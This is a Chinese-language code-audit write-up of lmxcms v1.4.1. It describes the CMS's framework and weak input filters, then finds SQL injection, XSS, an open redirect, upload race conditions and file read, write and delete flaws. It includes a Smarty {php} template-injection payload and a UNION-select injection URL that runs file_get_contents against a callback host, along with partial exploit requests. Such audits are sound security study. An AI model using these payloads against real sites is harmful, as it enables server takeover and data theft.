0x00 基本信息
简介
lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签
文件hash
必选项
a04c617a2988f3628cf47139f367d1c0
文件存储
必选项
https://pan.baidu.com/s/1WvCG4yZHy7lnYFPmWVM_Lg
cms指纹
可选项,后期必选
源码相关
- 官方网站:
http://www.lmxcms.com/down/
cms名字
必选项,实际名字或者化名
- 梦想cms v1.4.1
关联平台
类似第三方支付平台
0x01 基本流程
基于mvc的,先来看一下流程和一些基本信息
框架的加载
index页面,定义些常量,加载初始化的php文件run.inc.php
1 |
|
接下来,这里先判断入口类型,其实入口的类型分为
- index
- extend
- install
- admin
然后就注册一个自动加载的方法,来实现类的自动加载
接下来就是访问模式了,分为
- 纯静态(这个没看,但是后台存在这么个设置选项)
- 伪静态
- 动态
接下来,就实例化对象,调用run方法,运行程序
这里存在的问题就是,其实可以直接new,没必要用到eval
这可能时这个开发的习惯,后面会出现一些问题
接下来看看run方法,所有的action操作类都继承自Action
1 | public function run(){ |
在这套cms种还好,但是信息一点就会发现,其实这套框架的方法调用流程中没有判断方法属性
所以不仅仅public可以访问,protected修饰的也可以
在某些情况下,可能会存在问题,但是这里基本都是privated修饰的,倒是避免了这个问题
分析完流程就可以知道框架的加载方式
1 | index.php?m=xxx&a=xxx |
数据库的操作
数据库是用的MySQL,不存在堆叠了,但是也不会基本不会有参数化查询的问题
以selectDB为例
1 | protected function selectDB($tab,Array $field,$param=array()){ |
看一看where方法,就是简单的拼接,那么过滤应该就是在上层了
1 | protected function where($param){ |
而model只是一个简单的调用
那么数据的处理应该就是在控制器,和每个模型中了
如search模型,就存在大量的拼接问题
再经过控制器的调用就会存在注入,这是常规的拼接注入
上面是关于正常查数据,在一套代码种还可能存在
- SQL执行的功能
- 数据库备份还原的操作
过滤方式
- filter_strs方法
- p方法
- 类型强转
filter_strs
代码如下,很明显这里是为了防止xss的问题,但是单纯的这种方法并不能禁全,这只是针对尖括号
1 | function filter_strs($data){ |
p函数
代码如下
1 | function p($type=1,$pe=false,$sql=false,$mysql=false){ |
这里面又调用了filter_sql
和mysql_retain
,并且对value进行了转义
这是关于注入的过滤
1 | //过滤非法提交信息,防止sql注入 |
这里调用的js_back方法
1 | public static function js_back($str){ |
类型强转
这个的话,主要就是针对整型参数
问题
那么这里存在的问题也呼之欲出
这种过滤还是很。。。就算存在普通的拼接也只能是爆下数据库名字,什么table语法,在这里肯定不适用,网站得用php5.4左右的版本,虽说对mysql没具体限制,但也肯定是5.x
第一个问题
过滤只是过滤的value,对key并未进行处理
所以如果key存在调用的话,那就还是可以注入的
通常情况下,可以接受key的操作,一般是update或者insert
第二个问题
在转义之前调用的sql过滤的方法,当存在非法字符是存在一个弹窗
在script标签内,不需要再次使用标签,凡是调用过滤的地方均存在反射型xss
模板问题
使用的是Smarty
1 | require ROOT_PATH.'plug/smarty/Smarty.class.php'; |
版本是2.6.28
其实3版本,可以发现是否存在如下的利用CVE-2021-29454
这里就算了,在这个版本,display方法第一个参数只能是文件
那么就存在两个问题
- 文件名是否可控
- 文件内容是否可控
文件操作
上传文件问题
代码如下
底层检查文件后缀的方法是
1 | //检测文件后缀 |
而且可以看到,upload方法支持多文件上传
那么就可能存在,在上层调用的时候,未设置整体的过滤方式,只对特定的文件进行过滤,对其他文件不过滤的情况
还有就是上传压缩文件的解压问题
文件写入
- 正常文件,比如安装页面写配置
- 缓存文件
- 远程文件下载
0x02 代码审计
后台的注入或者xss之类的漏洞就不说了,太多了,后台只找获取shell的方法
url跳转
index.php?m=Ad&c=index
1 | public function index(){ |
需要数据表有数据,不多说了
xss
反射型xss
之前提到的检测数据的地方都存在
同样的上面的,js_back方法所在的类是rewrite,这个类的很多方法都存在xss的问题
只要找到用户可控的地方即可
js_back
比如index.php?m=Tags&c=index
复现
存储型xss
后台肯定是有存储型xss的,但是没有必要
数据库操作
前台注入
key问题
前台存在两处添加数据的地方,第一处没办法用,需要数据库有数据,默认境况下不存在
当然,并不代表实际环境种不存在
第二处index.php?m=Book&c=index
过滤不会对key产生影响,这里只跟一下,底层对key是怎么处理的就好了
就只拼接
当然在构造语句上,由于是key,会存在一些问题,
- 比如点和空格会变成下划线
这里可以用一些php的特性
复现
1 | POST /index.php?m=Book&a=index HTTP/1.1 |
拼接注入
index.php?m=Search&c=index
1 | private function check(){ |
跟进方法
可以看到这里面多个参数都可以用,但是,还是绕不过去那个检查单个关键字的过滤
这里不多说了
后台注入
略…
sql执行
很简单就是直接查询了
在后台的表现就是
非root,可以结合后台做很多东西,root下,可以直接拿shell
数据库备份与恢复
这个点的后续操作有不少,这里先提一下备份恢复
由于文件名可控,所以可以上传精心构造的zip文件
从数据库层面来说,最终达到的效果其实是和sql执行一样的
文件操作
目录创建
由于上传的方法,都设置了fix
所以没办法直接上传php文件
但是存在这么一处path可控
admin.php?m=Edit&c=editUpload
可以看到会根据额这个path创建一个权限777的目录
条件竞争文件上传
这就是上传zip,然后解压,然后删除,中间存在竞争
除了图片之外还可以上传zip和rar文件
admin.php?m=Edit&c=editUpload
通过这个方法上传一个zip
然后通过admin.php?m=Backdb&c=backdbin
解压
这里在下面会删除,但是目测当sql执行错误的时候,会直接退出
所以如果不想竞争的话可以构造一个payload,让其进入执行sql的地方即可
1 | //执行数组中的sql语句 |
简单,不复现了
修改后缀文件上传
在后台可以修改后缀,所以可以直接修改后缀未php或者html
修改为php就不多说了,直接传php就完事了
修改为html,是因为在前台存在一处包含,在适当的条件下可以绕过waf
比较简单这里也不复现了
文件删除&重装
前提是没删除install文件
文件删除
应该存在多处
/admin.php?m=File&a=delete
/admin.php?m=Backdb&a=delmorebackdb
对应的锁文件时ROOT_PATH/install/install_ok.txt
重装
这里面可以通过mysql的任意文件读取,先把源配置文件存下来
然后进行重装
直接就会
文件读取
都是基于file类的
1 | public static function getcon($path){ |
然后存在一处调用
这里是修改模板的,默认情况下还可以写文件
先看文件读取
文件写入
就是上面那个方法,可以操作任意文件的
在默认配置写可以直接写文件,获取shell
1 | POST /admin.php?m=Template&a=editfile&dir=../ HTTP/1.1 |
文件缓存
这里除了上面的写文件之外
还存在两处写php文件的,看看是否存在可利用的点
第一处f函数,这个经过了处理,也不存在编码转换的问题,无法进一步利用
第二处,存在一些可操作性
搜索调用
进数据库看下数据表,这里不涉及sql执行和数据库备份
只从正常的逻辑触发
这其实就不用分析了,逻辑出来了,看一下text_html
基本上可控的点就是fname和默认值,但是fname存在长度限制,当然也可以利用麻烦一点
这里直接选默认值,可以直接插入php代码也可以,插入解析模板类型的数据
我们直接去新建一个
但是这里生成的文件被实体编码了
数据库中的数据是没问题的
这是没有看全,是写文件的时候出的问题
下面有一个editor,解了一次码,可以一试
这里由于两个编码和解码的异同要用双引号,直接修改contents字段
最后生成的竟然成了这个样子,还是没看过这个smarty
还是得用模板注入了
- literal标签
- php标签
其他的标签先不说了,这里由于版本低,可以直接用php标签
1 | <{/if}><{php}>file_get_contents("http://127.0.0.1:7777/aaaa");<{/php}><{if $update}><{$content|html_entity_decode}><{else}> |
调用的地方是content控制器中
1 | http://192.168.1.220:8226/admin.php?classid=5&m=Content&a=add |
远程文件下载
代码如下
1 | //下载图片到本地 传入原图片网址,保存地址,不包包含图片后缀 |
具体调用就是
这里参数都存在注入,而且后台没有调用过滤方法,但是由于先查询count在查询数据,导致字段不一致,没办法使用注入进行联合查询伪造数据,也只能按部就班操作
忽略sql执行和数据备份
这个肯定能成,但是有点麻烦,不复现了
代码执行
存在多处,但也都是采集这个位置的
我们通过注入来完成
admin.php?m=Acquisi&a=showCjData
1 | http://192.168.1.220:8226/admin.php?m=Acquisi&a=showCjData&lid=1&id=1&cid=1000 union select 1,2,'file_get_contents(\'http://127.0.0.1:7777/aaaabbb\')',4,5,6,7# |
0x03 end
由于漏洞类型比较多,比较适合入门审计
但是也是因为漏洞较多,可能存在没发现的情况,仅此学习